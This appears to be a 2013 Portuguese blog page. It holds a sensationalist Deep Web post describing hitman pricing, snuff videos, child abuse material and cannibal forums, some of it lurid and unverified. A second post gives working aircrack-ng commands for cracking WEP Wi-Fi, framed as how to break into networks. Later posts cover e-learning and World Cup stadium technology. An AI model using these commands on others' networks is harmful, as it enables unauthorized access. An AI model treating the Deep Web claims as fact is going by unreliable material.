terça-feira, 21 de maio de 2013

O que é Deep Web

Deep Web (também chamada de Deepnet, Web Invisível, Undernet ou Web oculta) se refere ao conteúdo da World Wide Web que não faz parte da Surface Web, a qual é indexada pelos mecanismos de busca padrão.
Não deve ser confundida com a dark Internet, na qual os computadores não podem mais ser alcançados via Internet, ou com a Darknet, rede de compartilhamento de arquivos.

Mike Bergman, fundador da BrightPlanet e autor da expressão , afirmou que a busca na Internet atualmente pode ser comparada com o arrastar de uma rede na superfície do oceano: pode-se pescar um peixe grande, mas há uma grande quantidade de informação que está no fundo, e, portanto, faltando. podemos entender que a deep web é uma parte que não vemos, uma parte obscura da internet onde nao podemos "enxergar".



Tamanho 

Estimativas baseadas em extrapolações de um estudo feito na Universidade da Califórnia em Berkeley em 20013 especularam que a Deep Web possui 7.500 terabytes de informação. Estimativas feitas por He et al.4 , em 2004, detectaram cerca de 300.000 sites da deep web e, de acordo com Shestakov, cerca de 14.000 destes eram da parte russa da Web em 2006.5 Em 2008, a web chamada “Deep Web”, não referenciada pelos motores de busca representa 70 a 75% do total, ou seja, cerca de um trilhão de páginas não indexadas.

Os segredos do Deep Web

Todo mundo vive falando dessa misteriosa parte da internet, onde criminosos vendem assassinatos, a pedofilia é coisa comum, onde vírus podem ser achados e drogas compradas com bitcoin (a moeda da internet). Vendo todas as afirmações e questionamentos sobre os mistérios da Deep Web, o Minilua resolveu visitá-la e ver se tudo que falam é verdade:

Só para VIPs

Os endereços da Deep Web podem ser bem bizarros, como uma sucessão de letras e números seguida do sufixo .onion, em vez do tradicional .com. Originalmente, sua função é positiva: proteger conteúdos confidenciais, como os de governos, bancos, empresas, forças militares e universidades, acessíveis só com login, por exemplo

Ponto Cego

A Deep Web pode ficar dentro de sites comuns (na forma de arquivos e dados baixáveis) ou escondida em endereços excluídos de propósito dos mecanismos de busca. O Google nem faz ideia do que está lá: ele seria como um barco .pesqueiro que só localiza suas presas na “superfície” do mar

Zona de Guerra

Nem pense em se aventurar nesses mares. Eles estão cheios de crackers (hackers com intenções criminais), que adoram “fisgar” usuários descuidados. Como não há filtros de segurança, eles facilmente conseguem, por exemplo, “zumbificar” o computador de um internauta (controlando-o a distância sem que o dono note) e roubar dados

Predadores Abissais

A parte podre tem até nome: Dark Web. Lá se encontra de tudo: lojas virtuais de drogas, pornografia infantil e conexões terroristas para venda de armas. Como tudo fica nas profundezas, não há jeito de governos e a polícia tirarem do ar. É como seos sites tivessem vida própria, sem donos, registros e documentação

Confira, SE VOCÊ É UM DESSES CURIOSOS QUE PRETENDEM ENTRAR NA DEEPWEB EM BUSCA DA ESCÓRIA HUMANA. Do contrário, vá ler outro post do Ah Duvido, é o melhor que você faz! Ser ignorante em relação à essas questões é uma benção. Conhecer essas atrocidades que o humano pode fazer em troca de prazer doentio ou dinheiro é revoltante demais:

GRUPOS EXTERMISTAS:



Grupos extremistas já existem na Surface, o que muda para Deep é o número e a forma como agem. Na DeepWeb, os extremistas que disseminam todo tipo de preconceito, na maioria das vezes, optam por fóruns bloqueados, nos quais o usuários passa por diversos testes para entrar. Há crackers atuando junto com esses grupos e pode ter certeza que a sua vida vai ser vasculhada por inteiro antes de você por os olhos no que está escrito em algum desses fóruns.

Existe também os mais amadores. Esses não tem cuidado algum, porém, não deixam de serem violentos. Reúnem membros para marcarem ataques às suas vítimas, mostram imagens dos seus feitos – como, por exemplo, vídeos de grupos atacando judeus nas ruas –  apresentam teses sem pés nem cabeça sobre o porquê o seu preconceito deve ser alimentado, recrutam pessoal e fazem iniciações desses recrutados. Sorte nossa que a Polícia Federal e toda a polícia internacional fica de olho nesses camaradas e cada vez mais eles param na cadeia.

Hitman’s - Assassinos Contratados


Sicários brotam por todos os cantos da DeepWeb. Encontrá-los não é uma tarefa fácil mas o fato é que existem muitos e oferecendo os mais variados serviços. A maior parte é da Europa Central e Ásia e tem seus preços definidos por méritos e alvo. Méritos é referente aos alvos já executados com sucesso, ou seja, quanto mais alvos executados, maior a confiabilidade e consequentemente, o preço.  A outra classificação de preço é o tipo de alvo. Normalmente, pessoas comuns são as mais baratas. O preço aumenta com a posição da pessoa diante a sociedade e dificuldade para executar o alvo. Quanto maior a fama e contato com o público ou a dificuldade de eliminar o alvo, maior o preço. Por exemplo, um político tem uma vida pública bastante ativa, desse modo, será mais caro. Já um militar tem treinamento com armas e pode apresentar riscos para o assassino, logo, também é mais caro.

Videos Snuffs


Se você procura esse tipo de vídeo na Internet, siga meu conselho, vá atrás de ajuda. Pessoas normais, em sã consciência e sensatas não querem assistir essa escrotice, elas sente raiva disso! “Vídeos Snuffs” é o termo utilizado para à filmagens de assassinatos, aonde em homicídios pré-meditados, o assassino filma seu crime. Comumente são atos de extrema brutalidade e violência.

Esse tipo de filme aparecem aos montes pela Deep. Existem fóruns de pessoas que compartilham vídeos de assassinatos, é uma babaquice, uma ignorância, uma nojeira sem tamanho! Felizmente, me deparei pouco com esse material nas minhas andanças pela DW.

Já tive a infelicidade de clicar em link e me deparar com “3 Guys and 1 hammer” (maníacos de Dnepropetrovsk) e até hoje lembro e sinto muita raiva por não poder fazer justiça com as próprias mãos. O vídeo é revoltante! As gravações que surgiram na Deep no final de Julho de 2007, automaticamente foram trazidas para a Surface. Nele, Viktor Sayenko e Igor Suprunyuck, durante cerca de sete minutos inferem repetidas marteladas na cabeça de um idoso, e posteriormente perfuram com uma chave de fenda. Os dois foram capturados e condenados à prisão perpetua em 2009, o que particularmente acho pouco!

Há inúmeros casos semelhantes circulando pela Deep, tal como o pornô italiano aonde as mulheres são escalpadas e depois despedaçadas ainda vivas, mas sinceramente, sou da opinião que se você é babaca o suficiente para ficar procurando essas merdas de livre e espontânea vontade, você é cúmplice do crime! Sem telespectador não existiriam esses vídeos, essa é a verdade. Se não há ninguém assistindo, não há porque alguém produzir.

Como a Deep é uma terra sem lei, mesmo em fóruns, sites de diretórios, entre outros, que não tem nada a ver com o assunto, esses vídeos aparecem e se você não tiver estômago forte, vai perder o sono e a esperança na Humanidade! É algo que você vê e não consegue esquecer e, com certeza, é traumatizante para a maior parte das pessoas que ainda são humanos, pois quem assiste à tanta brutalidade e não sente nada é porque já perdeu a Humanidade.


Pornografia Grotesca


Todo tipo de pornografia rola na Deep. É uma bizarrice pior que à outra, tão bestial e repugnante que faria até o Marquês de Sade parecer um amador! O pior entre elas, sem dúvida, é as Child Porn, famosa pedofilia, que tem aos montes e revoltam – nota: eu queria ganhar na Mega da Virada para poder comprar uma armadura e uma katana e sair pelo mundo caçando esses lixos pedófilos!  Sério, acho que um policial federal tem que ter muito autocontrole quando encontra com gente assim.

As imagens as quais você se depara na Deep são de vomitar. Certa vez, em um desses fóruns de discussões gerais que frequento, um membro abriu um tópico chamado “Challenge”. Dentro tinha apenas um link. O link leva para um site, sem qualquer estrutura, apenas uma lista de diretórios. Em 5 minutos o tópico tinha mais de 200 comentários com xingamentos e ameaças ao usuário. Tinha gente que disse que iria descobrir aonde o usuário morava, mesmo que isso custasse todas as economias dele. Tinha cracker que falou que passaria noites e dias em cima do computador para rastrear a origem do site e que mandaria direto para o governo. E tudo isso porque, segundo o que falaram, dentro de um diretório chamado “Yellow Pumpkin” havia centenas de imagens de Child Porn da pior espécie, tanto que alguns usuários queriam juntar forças para encontrar o autor do site.  Por sorte, não vi, todavia, quem viu disse que eram imagens que você não esquece nem se perder a memória. Foi tão chocante para maioria das pessoas que algumas disseram que precisariam de tratamento psicológico depois de ver aquilo. Esses é um dos meus receios da Deep: você está lá na boa, curtindo um papo cabeça com membros de um fórum aparentemente inocente, de repente, do nada, aparece um infeliz e publica algo assim. Se você não estiver atento, clica e termina traumatizado. Por isso fica a dica: deepeiro de primeira viagem, não busque o que não deve e não clique em nada duvidoso e se clicar em um link com redirecionador, saia rapidamente do site, se não conseguir, desligue o computador antes que você possa ver qualquer coisa!


Experimentos “Científicos” com Humanos


Tempos atrás, o diretor doente mental Tom Six, lançou o filme Centopeia Humana. O filme conta a história de um médico alemão que sequestra três turistas e os une cirurgicamente, boca ligada ao ânus, formando uma centopeia humana. Com o sucesso da operação, o médico começa a treinar a centopeia, enquanto tenta escondê-la do resto do mundo. Para muitos, um dos filmes mais perturbadores já inventado.

Apesar dos pesares, é só um filme. Ninguém seria capaz de fazer algo assim, seria? Sim, seria! A DeepWeb vem provar que “Centopeia Humana” comparado aos experimentos feitos na realidade por um grupos de lunáticos é um especial do Telettubies dos dias da criança. Nos becos escuros das camadas mais pesadas, existem fóruns de compartilhamento de documentos e imagens sobre experimentos realizados com humanos, dos mais variados tipos. A maioria deles sem qualquer sentido, como emparedar humanos com besouros-tigres e constatar quantos dias ele resiste ou substituir as pernas dos humanos por patas de cabras.

A maioria desses sites descobertos – geralmente por hackers do bem que tentam acabar, ainda que ineficientemente, com essa escória que infesta a DW – alegavam que “somente utilizavam mendigos” como cobaias, como se isso diminuísse a culpa ou a atrocidade cometida. Os responsáveis são grupos ou mesmo pessoas ligadas à Ciência – como médicos, químicos, biólogos – que agem separadamente e se reúnem nesses fóruns secretos. Segundo os crackers mais determinados em localizar esses “lixos humanos”, grande parte desses sites são do Leste Europeu e atuam sempre sob gigantesca vigilância, sendo que tudo é automaticamente apagado quando o menor indício de que alguém de fora descobriu, demonstrando uma rede muito bem estruturada e um grande investimento por detrás dessas ações hediondas. Provavelmente são pessoas com muita grana que estão envolvidas nesses crimes.


Fóruns de Canibalismo.



Em 2003 um caso chocou a Alemanha e foi noticia no mundo todo. Um canibal confessou em um tribunal ter matado e comido uma pessoa a pedido da própria vítima. O “Canibal de Rotenburg”, como ficou conhecido, diz ter conhecido a vítima e combinado como tudo seria feito através da internet. Uma investigação da policia levou a uma rede de fóruns de canibalismo escondidos na DeepWeb. “Cannibal Cafe”, “Guy Cannibals” e “Torturenet” eram páginas usadas pelos canibais para marcar encontros e selecionar vítimas para a prática de canibalismo.

Nesses fóruns rolava de tudo, desde fotos e testemunhos de canibais até receitas para o bom preparo da carne humana. Mas o pior, certamente, eram os voluntários. Isso mesmo, tinha gente que se inscrevia para ser “comida” literalmente. Alguns, não por inteiro, apenas certas partes do corpo. Outros, todavia, viravam o prato do dia. Não, não tente entender, a idiotice humana desconhece limites. Quando você pensa que já viu de tudo, eis que aparece a DeepWeb.

Se você gostou sobre esse post e quer saber mais sobre a Deep Web e todos os seus segredo é só postar seu comentário aqui no blog.

domingo, 28 de abril de 2013

Técnicas de Segurança em Redes Wireless
"Como invadir rede sem-fio baseadas em criptografia WEP"

Alguns conceitos e definições:

Uma rede sem fio (Wireless) é um sistema que interliga vários equipamentos fixos ou móveis utilizando o ar como meio de transmissão. É semelhante a uma rede local com fio convencional (que segue o padrão IEEE 802.3), com exceção de que a rede sem fio usa ondas de rádio, em vez de cabos.


Ponto de acesso (PA) – Receptor Wi-Fi que se comunica com adaptadores Wi-Fi e dá acesso à internet. Em casa, é preciso ligar a conexão em alta velocidade ao ponto de acesso para usar uma rede sem fio. Access point (AP), em inglês.

SSID – Acrônimo de Service Set Identifier. Identifica os pontos de acesso em uma rede Wi-Fi e diferencia uma rede wireless de outra.

BSSID – Acrônimo de Basic Service Set Identifier ou Identificador exclusivo de cada cliente sem fio numa rede sem fio. O BSSID é o endereço MAC Ethernet de cada adaptador da rede.

802.11a – Variante Wi-Fi que opera na freqüência de 5 GHz e atinge velocidade de 54 Mbps (megabits por segundo). É incompatível com as redes 802.11b.

802.11b – Padrão original de redes sem fio definido pelo IEEE. É o mais lento de todos, com transmissão de 11 megabits por
segundo. Adaptadores compatíveis com 802.11b dão acesso a hotspots públicos.

802.11g – Padrão Wi-Fi com velocidade similar ao 802.11a (54 Mbps). É compatível com redes 802.11b.


802.11i – Atualização de segurança do padrão 802.11. Conta com o novo protocolo AES (Advanced Encryption System), que oferece maior proteção que o WPA.

802.11n – Grupo do comitê IEEE 802.11 que trabalha na definição de um padrão com taxa de transferência em redes sem fio de pelo menos 100 Mbps, mas com o objetivo de atingir até 540 Mpbs. O plano do grupo é ratificar o padrão em 2007.

802.16 – (WiMax) Protocolo para redes sem fio 802.16 que vai conectar, em uma primeira fase, áreas metropolitanas com alcance de até 50 quilômetros.


Criptografia – A arte de “escrever” em códigos. Utilizada na informática para garantir o sigilo das comunicações de dados.

Wi-Fi – Abreviação para “wireless fidelity”, que denota qualquer tipo de rede sem fios que utilize tecnologia 802.11.

WEP – Sigla de Wired Equivalency Privacy, protocolo de segurança que criptografa os dados enviados e recebidos em uma conexão sem fios. Não é muito seguro e tem como alternativa o WPA.

WPA – Acrônimo de Wi-Fi Protected Access. É um protocolo de segurança com recursos adicionais de criptografia de informações e autenticação de usuários para redes sem fio. É mais seguro que o WEP.


Demonstração prática do ARP Replay Attack contra redes sem fio que utilizam criptografia WEP.

A distribuição que será utilizada para a demonstração é o Debian, onde poderá ser feita em qualquer distribuição tendo os pacotes RPM instalado.

Os pacotes serão esses:

$ sudo apt-get install aircrack-ng
$ sudo apt-get install kismet


Instalar o driver nativo da sua placa de rede e garantir que o “modo monitor” possa ser habilitado.


$ sudo airmon-ng start wlan0
$ sudo airodump-ng -c 1 --bssid
08:10:74:3E:94:04 -w dumpfile mon0
$ sudo aireplay-ng -1 5 -a
08:10:74:3E:94:04 mon0
$ sudo aireplay-ng -3 -b
08:10:74:3E:94:04 mon0
$ sudo aircrack-ng dumpfile-01.cap

Após instalar o driver, é só "snnifar" a rede para saber quais conexões estão dentro de uma área de 50m, para poder realizar a invasão. Podendo utilizar o comando route print, para realização do mapa de roteamento das redes que estão conectadas e nas mesmas que estão na distância de 50m.

Podendo utilizar o site https://www.cloudcracker.com/ para poder descriptografar as senhas a partir do SSID da rede.

Texto de Allan Garcia
Editado por Bergh Nunes



quarta-feira, 16 de janeiro de 2013

E-Learning: Ensino do próximo milênio


Imagine que você seja o responsável pelo setor de treinamento em uma grande empresa e, numa bela e ensolarada tarde de sexta-feira, o seu chefe lhe apareça a porta, com um singelo pedido: “Estamos lançando um novo produto no mercado e temos que treinar todos os nossos vendedores sobre as características, performance, atributos e utilização desse novo produto no prazo de dez dias”. Para tornar a coisa mais divertida, sua empresa tem alguns milhares de vendedores dispersos por todo o território nacional, desde Manaus até Porto Alegre, sendo que a sede da empresa é logo ali na Praia do Botafogo, no Rio de Janeiro; o seu orçamento para viagens e despesas com instrutores “está no osso” e, além disso; o pessoal de Finanças acha um absurdo interromper o fluxo de receita proveniente das vendas só para os vendedores assistirem cursos no Rio. 

Guardadas as proporções, este é um desafio relativamente comum para as empresas em um mercado globalizado, competitivo e em constante mutação: agregar conhecimento aos funcionários de forma extremamente rápida, eficiente e de baixo custo. É ai que entra o e-learning, o uso da Internet na propagação de conhecimento.

O que é e-learning?

Tecnicamente, o e-learning é o ensino realizado através de meios eletrônicos. É basicamente um sistema hospedado no servidor da empresa que vai transmitir, através da Internet ou Intranet, informações e instruções aos alunos visando agregar conhecimento especifico. O sistema pode substituir total ou parcialmente, o que é mais comum, o instrutor, na condução do processo de ensino. No e-learning, as etapas de ensino são pré-programadas, divididas em módulos e são utilizados diversos recursos como o e-mail, textos e imagens digitalizadas, sala de bate-papo, links para fontes externas de informações, vídeos e teleconferências, entre outras. O treinamento com o e-learning pode ser montado pela própria empresa ou por qualquer dos fornecedores desse tipo de solução já existentes no mercado. 

Vantagens do e-learning.

Quais as vantagens! A primeira vantagem do e-learning, e que serviu como exemplo no inicio desse artigo, é o rompimento de barreiras geográficas e temporais. Com o e-learning, um curso sobre um novo produto, por exemplo, pode ser feito de qualquer local do planeta a qualquer momento, bastando para isso o acesso a Internet e uma senha. Enquanto, espera ser atendido pelo comprador, o seu vendedor pode puxar o lap-top e ler o texto sugerido no curso; em casa, enquanto seu companheiro(a) perde tempo assistindo Big Brother, o vendedor pode fazer os exercícios propostos pelo instrutor.  Em síntese, o e-learning possibilita ao aluno gerenciar o seu próprio tempo disponível, dentro dos parâmetros estabelecidos pelo curso, e sem perder tempo com deslocamentos. 




O e-learning pode ser disponível em qualquer dispositivo móvel, tablets, smartphones, etc, tendo suporte para vídeo e audio, pode ser utilizando normalmente.

Outra vantagem do e-learning está relacionada a reprodução do conteúdo. Uma vez montado o curso para um aluno, a sua reprodução para dois, centenas, ou milhares de alunos pode ser feita a um custo marginal insignificante. Com um curso tradicional, o máximo que se consegue é montar turmas de alunos, até se completar todo o universo que se pretenda atingir numa escala crescente de custos, energia e tempo dispendido.  Evidentemente, isso sugere que, para poucos alunos, talvez um treinamento convencional seja a solução mais adequada que o e-learning. Por outro lado, pensando em termos de políticas públicas de ensino, onde o universo se mede não em milhares, mas em milhões de candidatos à instrução, é possível que o e-learning, venha a representar uma verdadeira revolução na geração de conhecimento.

É importante ressaltar, que o e-learning não veio para substituir o ensino tradicional, da mesma forma que a Internet, não substitui a TV que, por sua vez, não fez desaparecer o rádio. O e-learning é uma nova ferramenta potencializada pela Internet e perfeitamente ajustada às características de nosso tempo, marcado pela agilidade, velocidade e gigantescos volumes de informação a serem digeridos. No que se refere às empresas, o objetivo não deve ser simplesmente substituir a forma de ensino tradicional pelo e-learning, mas sim, utilizar essa ferramenta na medida adequada às suas necessidades. De tal forma que os objetivos da organização sejam plenamente atingidos.

Fonte: http://www.e-commerce.org.br/artigos/e-learning_ensino.php

Texto de Dailton Felipini
Edição de Bergh Nunes

terça-feira, 1 de janeiro de 2013


Tecnologia será o diferencial nos estádios de 2014
Integração de áudio, vídeo e dados pode ampliar uso das arenas, diz especialista

A Copa de 2014 deverá transformar os velhos estádios brasileiros em modernas arenas no padrão Fifa, confortáveis, cobertas e dotadas de áreas especiais para convidados e também para eventos culturais, de negócios, religiosos, além do futebol e de outros esportes. A previsão vale para os 12 estádios que receberão os jogos de 2014, mas também para dezenas de novos equipamentos esportivos em projeto e construção em várias cidades do país, como Recife, Aracaju  Florianópolis, Belém, Vitória, Campinas, São Paulo, Natal e Rio de Janeiro, entre várias outras localidades.

Mais do que construções imponentes, as novas arenas deverão ser espaços multimídia, dotadas dos mais avançados sistemas de som e imagem, além de dados e recursos de telefonia. Essa é a tendência mundial apontada por Alexandre Novakoski, diretor da Seal Telecom, empresa especializada em soluções de automação e interatividade para ambientes como estádios, aeroportos, metrôs, hotéis e teatros.


Ele acredita que, em termos de novidades, o que veremos não deve diferir tanto do que se viu no evento da África do Sul, que já trazia grandes avanços tecnológicos. O que já seria muito, considerando a infraestrutura atual dos estádios nacionais. A expectativa é por estádios confortáveis, seguros, equipados com sistemas que garantam som claro, boa iluminação, além de mais tecnologia, como o uso de ingressos marcados com "digital signage", a exemplo do que já existe lá fora. Novakoski avalia que "além de ser exigência da Fifa, uma nova infraestrutura para os estádios brasileiros é também - antes de mais nada - um anseio do próprio público", afirma.

3G será a tecnologia da Copa 2014

Apesar das expectativas em torno do 4G, as operadoras trabalham para reforçar a capilaridade da rede 3G - HSPA + - para suportar o tráfego de voz, dados, e especialmente, vídeo nos jogos do Brasil.

"Não tenho dúvida que a maior parte da demanda da Copa, que será excepcional, será demandada pelo 3G", sustentou Janilson da Silva Bezerra Junior, diretor de Inovação da TIM. Presidente da Telefónica/Vivo, Antonio Carlos Valente, não prevê problemas para a Copa das Confederações, mas pede agilidade do governo para 2014. Acompanhe na gravura abaixo a evolução dos sistemas de celulares para entender mais sobre essa tecnologia que já é uma tendência atual em nosso país.

O tema Copa do mundo e capacidade de atendimento ao público foi um dos que estiveram em pauta no IV Seminário de Telecomunicações, realizado na Fiesp, na capital paulista. Além de reforçarem o 3G, as operadoras também valorizaram o papel do Wi-Fi para atender, principalmente, o público que irá ao estádio. 

"O provimento de serviço para quem está trabalhando na Copa já está definida pela Fifa ( a Oi ganhou o contrato). O nosso desafio é atender quem está no estádio, quem quer roaming e mandar seu vídeo, seu MMS para seu país", disse Valente, da Telefónica/Vivo. 


Atender a demanda de 4G para a Copa das Confederações, em 2013, não será tarefa complicada. "São poucos estádios e a cobertura será centralizada, além disso, haverá poucos terminais disponíveis e o serviço será ainda de valor elevado. O nosso desafio é aumentar o 3G e contornar o problema das antenas para as metas de 2014", destacou ainda o executivo.


Na imagem abaixo temos algumas empresas que irão oferecer na tecnologia 3G e 4G (dependendo da região) para todos os espectadores da Copa das Confederações de 2013 e Copa do Mundo de 2014.

Fonte:
http://convergenciadigital.uol.com.br/cgi/cgilua.exe/sys/start.htm?infoid=31915&sid=17
http://www.portal2014.org.br/noticias/6383/TECNOLOGIA+SERA+O+DIFERENCIAL+NOS+ESTADIOS+DE+2014.html